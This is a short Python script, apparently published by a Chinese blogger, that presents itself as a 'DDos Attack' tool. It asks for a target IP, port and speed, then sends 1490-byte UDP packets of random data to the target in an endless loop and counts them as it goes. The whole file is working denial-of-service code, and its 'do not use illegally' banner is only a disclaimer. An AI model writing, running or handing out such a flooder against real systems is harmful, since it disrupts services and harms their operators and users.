# python3
 
import sys
import os
import time
import socket
import random
#Code Time
from datetime import datetime
now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year
 
##############
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490) # type: ignore
#############
 
os.system("clear")
os.system("figlet DDos Attack")
print (" ")
print ("|--------------------------------------------------------|")
print ("|   作者          : Gtauuop                              |")
print ("|   作者CSDN    : https://blog.csdn.net/Gtauuop?type=blog|")
print ("|   版本          : V0.0.1                               |")
print ("|--------------------------------------------------------|")
print (" ")
print (" -----------------[切勿用于违法用途（本人概不负责）]----------------- ")
print (" ")
ip = input("请输入您要攻击的 IP     : ")
port = int(input("请输入您要攻击端口      : "))
sd = int(input("请输入您要攻击速度(1~1000) : "))
 
os.system("clear")
 
sent = 0
while True:
     sock.sendto(bytes, (ip,port))
     sent = sent + 1
     print ("已发送 %s 个数据包到 %s 端口 %d"%(sent,ip,port))
     time.sleep((1000-sd)/2000)
 